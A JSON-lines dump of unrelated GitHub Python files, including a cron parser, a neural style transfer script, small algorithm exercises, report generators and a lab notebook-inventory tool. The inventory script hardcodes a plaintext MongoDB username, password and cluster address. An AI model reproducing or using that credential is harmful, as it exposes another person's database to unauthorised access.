'l'], [])\n\n def only_sharp(n):\n suffix = '#' + str(n)\n lens = len(suffix)\n return lambda singletons, ranges: ([x[:-lens] for x in singletons if x.endswith(suffix)], [])\n\n # warning: in Python, Monday is 0 and Sunday is 6\n # in cron, Sunday=0 and Saturday is 6\n def cron2py(x):\n return (x + 6) % 7\n\n dow = self._parse_common(s, 0, 6, WEEK_OFFSET, only_plain)\n dow = set(map(cron2py, dow))\n dow_l = self._parse_common(s, 0, 6, WEEK_OFFSET, only_l)\n dow_l = set(map(cron2py, dow_l))\n dow_s = {}\n for n in range(1, 6):\n t = self._parse_common(s, 0, 6, WEEK_OFFSET, only_sharp(n))\n dow_s[n] = set(map(cron2py, t))\n return [False, dow, dow_l, dow_s]\n\n def parse_year(self, s):\n \"\"\"\n :return: [run_on_every_year: boolean,\n allowed_years: list or None]\n \"\"\"\n if s == '*':\n return [True, None]\n return [False, self._parse_common(s, 1970, 2099)]\n","repo_name":"luca-vercelli/pcrond","sub_path":"pcrond/cronparser.py","file_name":"cronparser.py","file_ext":"py","file_size_in_byte":8135,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"38138943402","text":"#!/usr/bin/env python3\n\n\ndef permute(arr, p):\n if len(arr) != len(p):\n return None\n to_ret = [0]*len(arr)\n for i, v in enumerate(p):\n to_ret[i] = arr[v]\n return to_ret\n\n\nif __name__ == '__main__':\n print(permute([\"a\", \"b\", \"c\"], [2, 1, 0]))\n","repo_name":"omriz/coding_questions","sub_path":"401.py","file_name":"401.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"13018816765","text":"# Source article: http://www.subsubroutine.com/sub-subroutine/2016/11/12/painting-like-van-gogh-with-convolutional-neural-networks\n# Source gist: https://gist.github.com/standarderror/855adcadce2e627a7b9a25d6261e03a6#file-20161112_neural_style_tensorflow-py\n\nimport os\nimport time\nimport math\nimport scipy.misc\nimport scipy.io\nfrom sys import stderr\nimport numpy as np\nimport tensorflow as tf\n\nfrom neural_art.helpers import imread, imsave, \\\n imgpreprocess, imgunprocess, to_rgb, \\\n get_args_from_command_line\n\n\n## Inputs\nargs = get_args_from_command_line()\nfile_content_image = args.content_img\nfile_style_image = args.style_img\n\n## Parameters\ninput_noise = 0.1 # proportion noise to apply to content image\nweight_style = 2e2\n\n## Layers\nlayer_content = 'conv4_2'\nlayers_style = ['conv1_1', 'conv2_1', 'conv3_1', 'conv4_1', 'conv5_1']\nlayers_style_weights = [0.2, 0.2, 0.2, 0.2, 0.2]\n\n## VGG19 model\npath_VGG19 = 'assets/imagenet-vgg-verydeep-19.mat'\n# VGG19 mean for standardisation (RGB)\nVGG19_mean = np.array([123.68, 116.779, 103.939]).reshape((1, 1, 1, 3))\n\n## Reporting & writing checkpoint images\n# NB. the total # of iterations run will be n_checkpoints * n_iterations_checkpoint\nn_checkpoints = 10 # number of checkpoints\nn_iterations_checkpoint = 10 # learning iterations per checkpoint\npath_output = 'assets/outputs' # directory to write checkpoint images into\n\n\n### Preprocessing\n# create output directory\nif not os.path.exists(path_output):\n os.mkdir(path_output)\n\n# read in images\nimg_content = imread(file_content_image)\nimg_style = imread(file_style_image)\n\n# convert if greyscale\nif len(img_content.shape) == 2:\n img_content = to_rgb(img_content)\n\nif len(img_style.shape) == 2:\n img_style = to_rgb(img_style)\n\n# resize style image to match content\nimg_style = scipy.misc.imresize(img_style, img_content.shape)\n\n# apply noise to create initial \"canvas\"\nnoise = np.random.uniform(\n img_content.mean() - img_content.std(), img_content.mean() + img_content.std(),\n (img_content.shape)).astype('float32')\nimg_initial = noise * input_noise + img_content * (1 - input_noise)\n\n# preprocess each\nimg_content = imgpreprocess(img_content, VGG19_mean)\nimg_style = imgpreprocess(img_style, VGG19_mean)\nimg_initial = imgpreprocess(img_initial, VGG19_mean)\n\n\n#### BUILD VGG19 MODEL\n## with thanks to http://www.chioka.in/tensorflow-implementation-neural-algorithm-of-artistic-style\nVGG19 = scipy.io.loadmat(path_VGG19)\nVGG19_layers = VGG19['layers'][0]\n\n\n# help functions\ndef _conv2d_relu(prev_layer, n_layer, layer_name):\n # get weights for this layer:\n weights = VGG19_layers[n_layer][0][0][2][0][0]\n W = tf.constant(weights)\n bias = VGG19_layers[n_layer][0][0][2][0][1]\n b = tf.constant(np.reshape(bias, (bias.size)))\n # create a conv2d layer\n conv2d = tf.nn.conv2d(prev_layer, filter=W, strides=[1, 1, 1, 1], padding='SAME') + b\n # add a ReLU function and return\n return tf.nn.relu(conv2d)\n\n\ndef _avgpool(prev_layer):\n return tf.nn.avg_pool(prev_layer, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n\n\n# Setup network\nwith tf.Session() as sess:\n a, h, w, d = img_content.shape\n net = {}\n net['input'] = tf.Variable(np.zeros((a, h, w, d), dtype=np.float32))\n net['conv1_1'] = _conv2d_relu(net['input'], 0, 'conv1_1')\n net['conv1_2'] = _conv2d_relu(net['conv1_1'], 2, 'conv1_2')\n net['avgpool1'] = _avgpool(net['conv1_2'])\n net['conv2_1'] = _conv2d_relu(net['avgpool1'], 5, 'conv2_1')\n net['conv2_2'] = _conv2d_relu(net['conv2_1'], 7, 'conv2_2')\n net['avgpool2'] = _avgpool(net['conv2_2'])\n net['conv3_1'] = _conv2d_relu(net['avgpool2'], 10, 'conv3_1')\n net['conv3_2'] = _conv2d_relu(net['conv3_1'], 12, 'conv3_2')\n net['conv3_3'] = _conv2d_relu(net['conv3_2'], 14, 'conv3_3')\n net['conv3_4'] = _conv2d_relu(net['conv3_3'], 16, 'conv3_4')\n net['avgpool3'] = _avgpool(net['conv3_4'])\n net['conv4_1'] = _conv2d_relu(net['avgpool3'], 19, 'conv4_1')\n net['conv4_2'] = _conv2d_relu(net['conv4_1'], 21, 'conv4_2')\n net['conv4_3'] = _conv2d_relu(net['conv4_2'], 23, 'conv4_3')\n net['conv4_4'] = _conv2d_relu(net['conv4_3'], 25, 'conv4_4')\n net['avgpool4'] = _avgpool(net['conv4_4'])\n net['conv5_1'] = _conv2d_relu(net['avgpool4'], 28, 'conv5_1')\n net['conv5_2'] = _conv2d_relu(net['conv5_1'], 30, 'conv5_2')\n net['conv5_3'] = _conv2d_relu(net['conv5_2'], 32, 'conv5_3')\n net['conv5_4'] = _conv2d_relu(net['conv5_3'], 34, 'conv5_4')\n net['avgpool5'] = _avgpool(net['conv5_4'])\n\n\n### CONTENT LOSS: FUNCTION TO CALCULATE AND INSTANTIATION\n# with thanks to https://github.com/cysmith/neural-style-tf\n\n# Recode to be simpler: http://www.chioka.in/tensorflow-implementation-neural-algorithm-of-artistic-style\ndef content_layer_loss(p, x):\n _, h, w, d = [i.value for i in p.get_shape()] # d: number of filters; h,w : height, width\n M = h * w\n N = d\n K = 1. / (2. * N**0.5 * M**0.5)\n loss = K * tf.reduce_sum(tf.pow((x - p), 2))\n return loss\n\n\nwith tf.Session() as sess:\n sess.run(net['input'].assign(img_content))\n p = sess.run(net[layer_content]) # Get activation output for content layer\n x = net[layer_content]\n p = tf.convert_to_tensor(p)\n content_loss = content_layer_loss(p, x)\n\n\n### STYLE LOSS: FUNCTION TO CALCULATE AND INSTANTIATION\ndef style_layer_loss(a, x):\n _, h, w, d = [i.value for i in a.get_shape()]\n M = h * w\n N = d\n A = gram_matrix(a, M, N)\n G = gram_matrix(x, M, N)\n loss = (1./(4 * N**2 * M**2)) * tf.reduce_sum(tf.pow((G - A), 2))\n return loss\n\n\ndef gram_matrix(x, M, N):\n F = tf.reshape(x, (M, N))\n G = tf.matmul(tf.transpose(F), F)\n return G\n\n\nwith tf.Session() as sess:\n sess.run(net['input'].assign(img_style))\n style_loss = 0.\n # style loss is calculated for each style layer and summed\n for layer, weight in zip(layers_style, layers_style_weights):\n a = sess.run(net[layer])\n x = net[layer]\n a = tf.convert_to_tensor(a)\n style_loss += style_layer_loss(a, x)\n\n### Define loss function and minimise\nwith tf.Session() as sess:\n # loss function\n L_total = content_loss + weight_style * style_loss\n\n # instantiate optimiser\n optimizer = tf.contrib.opt.ScipyOptimizerInterface(\n L_total, method='L-BFGS-B',\n options={'maxiter': n_iterations_checkpoint})\n\n init_op = tf.initialize_all_variables()\n sess.run(init_op)\n sess.run(net['input'].assign(img_initial))\n for i in range(1, n_checkpoints + 1):\n # run optimisation\n optimizer.minimize(sess)\n\n ## print costs\n stderr.write('Iteration %d/%d\\n' % (i*n_iterations_checkpoint, n_checkpoints * n_iterations_checkpoint))\n stderr.write(' content loss: %g\\n' % sess.run(content_loss))\n stderr.write(' style loss: %g\\n' % sess.run(weight_style * style_loss))\n stderr.write(' total loss: %g\\n' % sess.run(L_total))\n\n ## write image\n img_output = sess.run(net['input'])\n img_output = imgunprocess(img_output, VGG19_mean)\n timestr = time.strftime(\"%Y%m%d_%H%M%S\")\n output_file = path_output+'/'+timestr+'_'+'%s.jpg' % (i*n_iterations_checkpoint)\n imsave(output_file, img_output)\n","repo_name":"p1nox/learning_ai_with_art","sub_path":"neural_art/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":7251,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"86"} +{"seq_id":"28080366173","text":"# O(n) time, O(n) space\nclass Solution(object):\n def twoSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n n = len(nums)\n lst = set()\n for i in range(n):\n curr = nums[i]\n if (target - curr) in lst:\n return [i, nums.index(target - curr)]\n lst.add(curr)\n return -1","repo_name":"FarzadHayat/leetcode","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":422,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"27400366449","text":"import tkinter as tk #biblioteca de exibição visual python\r\nimport socket #biblioteca para captura do nome de domínio\r\nimport getmac #biblioteca para captura do endereço físico da máquina\r\nimport wmi #biblioteca de acesso ao número de série vinculado a BIOS do notebook\r\nimport pymongo #biblioteca relacionado ao banco de dados MONGODB\r\nimport urllib.parse #biblioteca relacionado a necessidade de criptografia das informações de usuário e senha de acesso ao banco de dados\r\nfrom pymongo.mongo_client import MongoClient #importação da propriedade MongoClient (acesso ao banco de dados e a coleção) de dentro da biblioteca pymongo\r\nfrom pymongo.server_api import ServerApi #importação da comunicação via server com a API do banco de dados mongodb da biblioteca pymongo\r\nimport re #biblioteca utilizada para realizar uma busca dentro dos dados armazenados no programa para executar a função de simplificação do domínio\r\nfrom tkinter import messagebox #importação do parametro de \"caixa de mensagem\" da biblioteca tkinter\r\nfrom datetime import datetime #importação do parametro de data para gerar as informações de horário de verificação\r\n\r\n\r\n# PROGRAMA PARA CAPTURA DE INFORMAÇÕES PERTINENTES DOS NOTEBOOKS NO CAMPUS BRAGANÇA PAULISTA\r\n\r\n\r\n#captura o numero de série do notebook\r\ndef get_serial_number():\r\n try:\r\n c = wmi.WMI()\r\n serial_number = c.Win32_BIOS()[0].SerialNumber.strip()\r\n return serial_number\r\n except Exception as e:\r\n print(f\"Erro ao obter o número de série: {e}\")\r\n return \"N/A\"\r\n\r\n#captura o mac address do notebook\r\ndef get_mac_addresses():\r\n mac_addresses = getmac.get_mac_address(\r\n interface=\"Ethernet\", network_request=True)\r\n if isinstance(mac_addresses, str):\r\n return [mac_addresses]\r\n else:\r\n return mac_addresses\r\n\r\n#captura o nome de domínio da máquina\r\ndef get_domain_name():\r\n domain_name = socket.getfqdn()\r\n return domain_name\r\n\r\n# Obs: as informações são obtidas através de diretrizes de captura de informações semelhantes as utilizadas nos comandos executados no CMD do windows\r\n\r\n# Simplicação do nome de domínio para melhor exibição no arquivo .csv gerado posteriomente\r\ndef simplificar_dominio(domain_name):\r\n # Procurar por padrões que se encaixem em \"SP300LAB\" seguido de 3 dígitos, hífen e mais 3 dígitos\r\n padrao = r\"SP300LAB(\\d{3})-(\\d{3})\"\r\n correspondencia = re.search(padrao, domain_name)\r\n\r\n if correspondencia:\r\n # Pegar o número do laboratório (três dígitos após \"SP300LAB\")\r\n numero_lab = int(correspondencia.group(1))\r\n # Pegar o número da máquina (três dígitos após o hífen)\r\n numero_maquina = int(correspondencia.group(2))\r\n # Extrair os dois últimos dígitos do número do laboratório e formatar como \"LabXXX\"\r\n lab_simplificado = f\"Lab{str(numero_lab)[-3:]}\"\r\n # Formatar o número da máquina como \"YY\"\r\n maquina_simplificada = str(numero_maquina).zfill(2)\r\n # Concatenar as partes formatadas em \"LabXXX-YY\"\r\n return f\"{lab_simplificado}-{maquina_simplificada}\"\r\n\r\n # Caso o padrão não seja encontrado, retornar o nome de domínio original\r\n return domain_name\r\n\r\n\r\n\r\n# Configuração de acesso e armazenamento de dados no Banco de Dados (Não Relacional) MONGODB\r\n\r\ndef store_data():\r\n serial_number = result_label_serial['text']\r\n mac_addresses = result_label_mac['text']\r\n domain_name = result_label_domain['text']\r\n current_time = result_label_time['text']\r\n\r\n domain_name_simplificado = simplificar_dominio(domain_name)\r\n\r\n # Dados coletados pelo programa\r\n data = {\r\n 'serial_number': serial_number,\r\n 'mac_addresses': mac_addresses,\r\n 'domain_name': domain_name_simplificado,\r\n 'data_execucao': current_time\r\n }\r\n\r\n username = 'nicolasalvesalberti25'\r\n password = '@Ni820977'\r\n\r\n # Codifica o nome de usuário e a senha usando urllib.parse.quote_plus\r\n encoded_username = urllib.parse.quote_plus(username)\r\n encoded_password = urllib.parse.quote_plus(password)\r\n\r\n # Monta a string de conexão com os dados codificados\r\n connection_string = f\"mongodb://{encoded_username}:{encoded_password}@ac-nm7ghql-shard-00-00.rfppyjj.mongodb.net:27017,ac-nm7ghql-shard-00-01.rfppyjj.mongodb.net:27017,ac-nm7ghql-shard-00-02.rfppyjj.mongodb.net:27017/?ssl=true&replicaSet=atlas-q4ubkv-shard-0&authSource=admin&retryWrites=true&w=majority\"\r\n client = pymongo.MongoClient(connection_string)\r\n\r\n # Acessa o banco de dados e a coleção\r\n db = client['probooks']\r\n collection = db['lab05']\r\n\r\n # Insere os dados na coleção\r\n collection.insert_one(data)\r\n\r\n messagebox.showinfo(\"Sucesso\", \"Dados Coletados com Sucesso!\")\r\n root.destroy()\r\n\r\n \r\n\r\n#função principal da execução da funcionalidade do programa\r\n\r\ndef execute_program():\r\n serial_number = get_serial_number()\r\n mac_addresses = get_mac_addresses()\r\n domain_name = get_domain_name()\r\n current_time = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\") # Formato: AAAA-MM-DD HH:MM:SS\r\n\r\n # Exibe os resultados formatados em rótulos\r\n result_label_serial.config(text=f\"Serial Number: {serial_number}\")\r\n result_label_mac.config(text=f\"MAC Address: {', '.join(mac_addresses)}\")\r\n result_label_domain.config(text=f\"Domínio: {domain_name}\")\r\n result_label_time.config(text=f\"Hora da Verificação: {current_time}\")\r\n\r\n\r\n # Habilita o botão para armazenar os dados (apenas após os dados serem exibidos)\r\n store_button.config(state=tk.NORMAL)\r\n\r\n\r\n\r\n# Parte visual do programa utilizando a biblioteca visual TKINTER\r\n\r\n# Cria a janela principal\r\nroot = tk.Tk()\r\nroot.title(\"IDENTIFICADOR DE NOTEBOOKS - UNIVERSIDADE SÃO FRANCISCO\")\r\n\r\n# Largura e altura da janela\r\nlargura_janela = 500\r\naltura_janela = 400\r\n\r\n# Obtém a largura e altura da tela\r\nlargura_tela = root.winfo_screenwidth()\r\naltura_tela = root.winfo_screenheight()\r\n\r\n# Calcula a posição central da janela\r\nposicao_x = int((largura_tela / 2) - (largura_janela / 2))\r\nposicao_y = int((altura_tela / 2) - (altura_janela / 2))\r\n\r\n# Define a geometria da janela\r\nroot.geometry(f\"{largura_janela}x{altura_janela}+{posicao_x}+{posicao_y}\")\r\n\r\n# Criação de um Label para exibir o texto grande no centro\r\nheader_label1 = tk.Label(\r\n root, text=\"IDENTIFICADOR DE NOTEBOOKS\", font=(\"Arial\", 14))\r\nheader_label1.pack(pady=5)\r\n\r\nheader_label2 = tk.Label(\r\n root, text=\"UNIVERSIDADE SÃO FRANCISCO\", font=(\"Arial\", 12))\r\nheader_label2.pack(pady=20)\r\n\r\n# Criação de rótulos para exibir os resultados\r\nresult_label_serial = tk.Label(root, text=\"\", font=(\"Arial\", 12))\r\nresult_label_serial.pack(pady=5)\r\nresult_label_mac = tk.Label(root, text=\"\", font=(\"Arial\", 12))\r\nresult_label_mac.pack(pady=5)\r\nresult_label_domain = tk.Label(root, text=\"\", font=(\"Arial\", 12))\r\nresult_label_domain.pack(pady=5)\r\nresult_label_time = tk.Label(root, text=\"\", font=(\"Arial\", 8))\r\nresult_label_time.pack(pady=5)\r\n\r\n# Criação de um botão para executar o programa\r\nexecute_button = tk.Button(\r\n root, text=\"Executar Verificação\", command=execute_program)\r\nexecute_button.pack(pady=10)\r\n\r\n# Criação do botão para armazenar os dados\r\nstore_button = tk.Button(root, text=\"Armazenar Dados\", command=store_data, state=tk.DISABLED)\r\nstore_button.pack(pady=10)\r\n\r\n# Referência ao criador do programa\r\ncreator_label = tk.Label(\r\n root, text=\"Criado e Desenvolvido por Nícolas Alberti\", font=(\"Arial\", 8))\r\ncreator_label.pack(side=tk.BOTTOM, pady=10)\r\n\r\n# Inicia o loop principal da interface gráfica\r\nroot.mainloop()\r\n\r\n#fim\r\n","repo_name":"NicolasAlberti/usfcontrolnotebooks","sub_path":"lab05.py","file_name":"lab05.py","file_ext":"py","file_size_in_byte":7645,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"28520931741","text":"subtotal = 0\nmax = 0\n\nwith open(\"01/input.txt\") as file:\n for line in file:\n if (line == \"\\n\"):\n subtotal = 0\n else:\n subtotal += int(line)\n if subtotal > max:\n max = subtotal\n\nprint(max)\n","repo_name":"c-herrewijn/AdventOfCode","sub_path":"2022/01/aoc_01a.py","file_name":"aoc_01a.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"25471682296","text":"# Standard library imports\nimport datetime as dt\nimport pathlib\nimport sqlite3\nimport sys\n\n# 3rd party library imports\nfrom lxml import etree\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import FuncFormatter\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n\n\ndef millions(x, pos):\n \"\"\"\n Parameters\n ----------\n x : value\n pos : position\n \"\"\"\n return f'{(x/1e6):.1f}M'\n\nformatter = FuncFormatter(millions)\n\nclass ProcessRateLimitingGraphics(object):\n \"\"\"\n Attributes\n ----------\n df : Dataframe\n Dataframe for current day of referers.\n database_file : path\n Path to SQLITE3 database.\n date : datetime.date\n Date for the CSV file observations.\n \"\"\"\n def __init__(self, h5file):\n \"\"\"\n Parameters\n ----------\n path : path or str\n Path to HDF5 file.\n \"\"\"\n sns.set()\n self.store = pd.HDFStore(h5file)\n\n def run(self):\n pass\n\n self.doc = etree.Element('html')\n self.body = etree.SubElement(self.doc, 'body')\n\n self.table_styles = [\n # This one doesn't look like it's needed.\n dict(selector='table', props=[('border-collapse', 'collapse')]),\n # Each column header has a solid bottom border and some padding.\n dict(selector='th', props=[('border-bottom', '2px solid #069'),\n ('padding', '5px 3px')]),\n # Each cell has a less solid bottom border and the same padding.\n dict(selector='td', props=[('text-align', 'right'),\n ('border-bottom', '1px solid #069'),\n ('padding', '5px 3px')]),\n ]\n\n def process_hits(self):\n \"\"\"\n Calculate\n\n I) percentage of hits for each referer\n II) percentage of hits for each referer that are 403s\n III) percentage of total 403s for each referer\n\n Just for the latest day, though.\n \"\"\"\n df = self.df[self.df.date == self.df.date.max()]\n\n hits = df['hits'].sum()\n num_403s = df['hits_403s'].sum()\n print('hits', hits)\n print('403s', num_403s)\n\n df = df[['referer', 'hits', 'hits_403s']].copy()\n df['hits %'] = df['hits'] / hits * 100\n\n idx = df['hits_403s'].isnull()\n df.loc[idx, ('hits_403s')] = 0\n df['hits_403s'] = df['hits_403s'].astype(np.uint64)\n\n df['403s: % of all hits'] = df['hits_403s'] / hits * 100\n df['403s: % of all 403s'] = df['hits_403s'] / num_403s * 100\n\n # Reorder the columns\n reordered_cols = [\n 'referer',\n 'hits',\n 'hits %',\n 'hits_403s',\n '403s: % of all hits',\n '403s: % of all 403s'\n ]\n df = df[reordered_cols]\n\n self.process_hits_output(df)\n\n def process_hits_output(self, df):\n\n df.set_index('referer', inplace=True)\n\n tablestr = (df.sort_values(by='hits', ascending=False).head(n=10)\n .style\n .set_table_styles(self.table_styles)\n .format({\n 'hits': '{:,.0f}',\n 'hits %': '{:.1f}',\n 'hits_403s': '{:,}',\n '403s: % of all hits': '{:,.1f}',\n '403s: % of all 403s': '{:,.1f}',\n })\n .render())\n\n table = etree.HTML(tablestr)\n\n div = etree.SubElement(self.body, 'div')\n hr = etree.SubElement(div, 'hr')\n h1 = etree.SubElement(div, 'h1')\n h1.text = 'Top 10 Referers by Hits'\n div.append(table)\n\n div = etree.SubElement(self.body, 'div')\n img = etree.SubElement(div, 'img', src='referers_hits.png')\n\n def process_bytes_output(self, df):\n \"\"\"\n Calculate\n\n I) Bandwidth for each referer as GBs\n \"\"\"\n df.set_index('referer', inplace=True)\n\n fncn = lambda d: issubclass(np.dtype(d).type, np.number)\n\n df['GBytes'] /= (1024 ** 3)\n\n format = {\n 'GBytes': '{:,.1f}',\n 'percentage': '{:.1f}',\n\n }\n styles = [\n dict(selector='table', props=[('border-collapse', 'collapse')]),\n dict(selector='th', props=[('border-bottom', '2px solid #069'),\n ('padding', '5px 3px')]),\n dict(selector='td', props=[('text-align', 'right'),\n ('border-bottom', '1px solid #069'),\n ('padding', '5px 3px')]),\n ]\n tablestr = (df.sort_values(by='GBytes', ascending=False).head(n=10)\n .style\n .set_table_styles(self.table_styles)\n .format(format)\n .render())\n\n table = etree.HTML(tablestr)\n\n div = etree.SubElement(self.body, 'div')\n hr = etree.SubElement(div, 'hr')\n h1 = etree.SubElement(div, 'h1')\n h1.text = 'Top 10 Referers by Bytes'\n div.append(table)\n\n def process_bytes(self):\n\n df = self.df[self.df.date == self.df.date.max()]\n\n bytes = df['bytes'].sum()\n\n df = df[['referer', 'bytes']].copy()\n df['percentage'] = df['bytes'] / bytes * 100\n\n df.columns = ['referer', 'GBytes', 'percentage']\n\n self.process_bytes_output(df)\n\n def create_timeseries(self):\n\n # Get the top 5 referers by hits for the latest date. By \"top 5\n # referers\", we mean no 403s.\n df = self.df[self.df.date == self.df.date.max()]\n df['valid_hits'] = df['hits'] - df['hits_403s']\n df = df.sort_values(by='valid_hits', ascending=False).head(n=7)\n referers = ', '.join([f\"\\\"{x}\\\"\" for x in df['referer'].values])\n sql = f\"\"\"\n SELECT referer, hits - hits_403s AS hits, date\n FROM observations\n WHERE referer IN ({referers})\n ORDER by date, referer\n \"\"\"\n print(sql)\n\n df = pd.read_sql(sql, self.conn)\n df['date'] = df['date'].apply(lambda x: dt.datetime.fromordinal(x))\n df = df.pivot(index='date', columns='referer', values='hits')\n\n fig, ax = plt.subplots(figsize=(15,5))\n ax.yaxis.set_major_formatter(formatter)\n df.plot(ax=ax)\n ax.set_title('Non-403 Hits')\n plt.savefig('nowcoast/referers_hits.png')\n\n\n def create_pie_chart(self):\n\n # Get the top 5 referers by hits for the latest date.\n df = self.df[self.df.date == self.df.date.max()]\n df = df.sort_values(by='hits', ascending=False)\n df = df[['referer', 'hits']].set_index('referer')\n\n n = 5\n hits_others = df.hits.sum() - df.head(n=n).hits.sum()\n\n df = df[:n].copy()\n df.loc['others'] = hits_others\n\n plot = df.plot.pie(y='hits', figsize=(5,15), labels=None)\n plt.savefig('nowcoast/pie.png')\n\n\n def run(self):\n # self.create_pie_chart()\n self.create_timeseries()\n self.process_hits()\n self.process_bytes()\n\n path = pathlib.Path('nowcoast/index.html')\n with path.open(mode='wt') as f:\n etree.ElementTree(self.doc).write(str(path))\n\n\nif __name__ == '__main__':\n h5file = sys.argv[1]\n o = ProcessRateLimitingGraphics(h5file)\n o.run()\n","repo_name":"quintusdias/gis-monitoring","sub_path":"referer/process_rate_limiting_graphics.py","file_name":"process_rate_limiting_graphics.py","file_ext":"py","file_size_in_byte":7446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"30495862493","text":"\r\nfrom .models import Vote, VoteResult\r\nfrom django.db.models import Avg\r\nimport xml.etree.cElementTree as ET\r\n\r\n\r\ndef create_statistics_file(file, v):\r\n results = VoteResult.objects.filter(vote=v)\r\n res = VoteResult.objects.filter(vote=v).values(\r\n 'subject__subjectName',\r\n 'teacher__lName',\r\n 'teacher__fName',\r\n 'teacher__mName',\r\n 'category__categoryName'\r\n ).annotate(\r\n average=Avg('value')\r\n )\r\n root = ET.Element(\"Statistics\")\r\n for subj in res.values('subject__subjectName').distinct():\r\n sub = ET.SubElement(root, 'Subject', attrib={'Name': subj['subject__subjectName']})\r\n\r\n for teach in res.values('teacher__lName',\r\n 'teacher__fName',\r\n 'teacher__mName').filter(\r\n subject__subjectName=subj['subject__subjectName']).distinct():\r\n pers = ET.SubElement(sub, \"Teacher\", attrib={'Name': '{} {} {}'.format(teach['teacher__lName'],\r\n teach['teacher__fName'],\r\n teach['teacher__mName'])})\r\n\r\n for x, mark in enumerate(res.values('category_id',\r\n 'category__categoryName',\r\n 'average').filter(teacher__lName=teach['teacher__lName'],\r\n teacher__fName=teach['teacher__fName'],\r\n teacher__mName=teach['teacher__mName'],\r\n subject__subjectName=subj['subject__subjectName'])):\r\n ET.SubElement(pers,\r\n 'Category{}'.format(mark['category_id']),\r\n Name=mark['category__categoryName']).text = str(round(mark['average'], 3))\r\n\r\n tree = ET.ElementTree(root)\r\n tree.write(file, encoding='utf-8')\r\n\r\n\r\ndef read_statistics_file(file):\r\n stats = {}\r\n tree = ET.parse(file)\r\n root = tree.getroot()\r\n # print(root.tag)\r\n for subject in root:\r\n # print(subject.tag, subject.attrib)\r\n for teacher in subject:\r\n # print(teacher.tag, teacher.attrib)\r\n for category in teacher:\r\n s = '{} - {}'.format(subject.attrib['Name'], teacher.attrib['Name'])\r\n if s in stats:\r\n stats[s].append((category.attrib['Name'], category.text))\r\n else:\r\n stats[s] = [(category.attrib['Name'], category.text)]\r\n\r\n # print(category.attrib, category.text)\r\n # print(category.getparent())\r\n\r\n # for key,value in stats.items():\r\n # for v in value:\r\n # print(v)\r\n # print(key,value)\r\n return stats\r\n\r\n\r\nfrom django.template.defaulttags import register\r\n\r\n@register.filter\r\ndef get_item(dictionary, key):\r\n return dictionary.get(key)\r\n\r\n@register.filter\r\ndef get_cat(tup, key):\r\n return tup[key]","repo_name":"yurii-ivanov/reimagined-robot","sub_path":"StudentPoll/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"24509791984","text":"import numpy as np\n\ndef visualGD(x, alpha, max_error):\n '''\n Dummy implementation of GD to find the local minimum of sinx + abs(x) + 1\n '''\n delta = 0.01\n e = np.inf\n while e > max_error:\n y1 = getY(x)\n y2 = getY(x + delta)\n d = (y2 - y1)\n x = x - alpha * d\n y = getY(x)\n e = abs(y1 - y)\n print(\"x = %f\\ty = %f\\te = %f\\td = %f\" %(x, y, e, d / delta))\n\ndef getY(x):\n '''\n Compute the value of sinx + abs(x) + 1, given x\n '''\n return(np.sin(x) + abs(x) + 1)\n\nif __name__ == \"__main__\":\n print(\"\\n\\t=== Grandient Descent Dummy Demo ===\\n\")\n x = float(input(\"Insert the starting value for sinx + abs(x) + 1\\nx = \"))\n lr = float(input(\"Insert the learning rate parameter\\nlr = \"))\n print(\"Insert the maximum tolerated error to define convergence\")\n maxE = float(input(\"maxE = \"))\n visualGD(x, lr, maxE)\n","repo_name":"alussana/python-programming-alessandro-lussana","sub_path":"AML/gradientDescent.py","file_name":"gradientDescent.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"23259498808","text":"from django.shortcuts import render\n\n\nimport pandas as pd\ndf = pd.read_excel('app_keyword/dataset_news/中央社各类新闻-切词与频率统计.xlsx')\nnews_categories=['政治','科技','运动','证卷','产经','娱乐','生活','国际','社会','文化','全部']\n\ndef keyword(request):\n # 第一次载入网页时网页端没有传送关键字 所有资料都设定为空值\n newslinks = []\n if request.method == 'POST': # 网页端有传送关键字\n key = request.POST['userkeyword']\n query_df = df[df['tokens'].str.contains(key)]\n # 查询结果不是空的 进一步去取得你要的资料\n if len(query_df) != 0:\n newslinks = get_title_link(key)\n\n return render(request, 'app_keyword/keyword.html', {\n 'newslinks': newslinks,\n })\n\n\n# 取得新闻标题 连结 类别\ndef get_title_link( query_key ):\n query_df = df[df['tokens'].str.contains(query_key)]\n title_link =[]\n for i in range(query_df.shape[0]):\n c = query_df.iloc[i]['category']\n t = query_df.iloc[i]['title']\n l = query_df.iloc[i]['link']\n title_link.append((c,t,l))\n return title_link[0:10]","repo_name":"robin841202/movie-recommender-web","sub_path":"app_keyword/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"27811629848","text":"import argparse\nimport sys\nimport os\nimport random\nimport json\nfrom pyscripts.utils import *\n\nDEFAULT_TRACING_PARAMS_FILE = 'parameters/default_tracing_parameters.json'\nDEFAULT_POPULATION_PARAMS_FILE = 'parameters/default_population_parameters.json'\n\ndef str2bool(v):\n if isinstance(v, bool):\n return v\n if v.lower() in ('yes', 'true', 't', 'y', '1'):\n 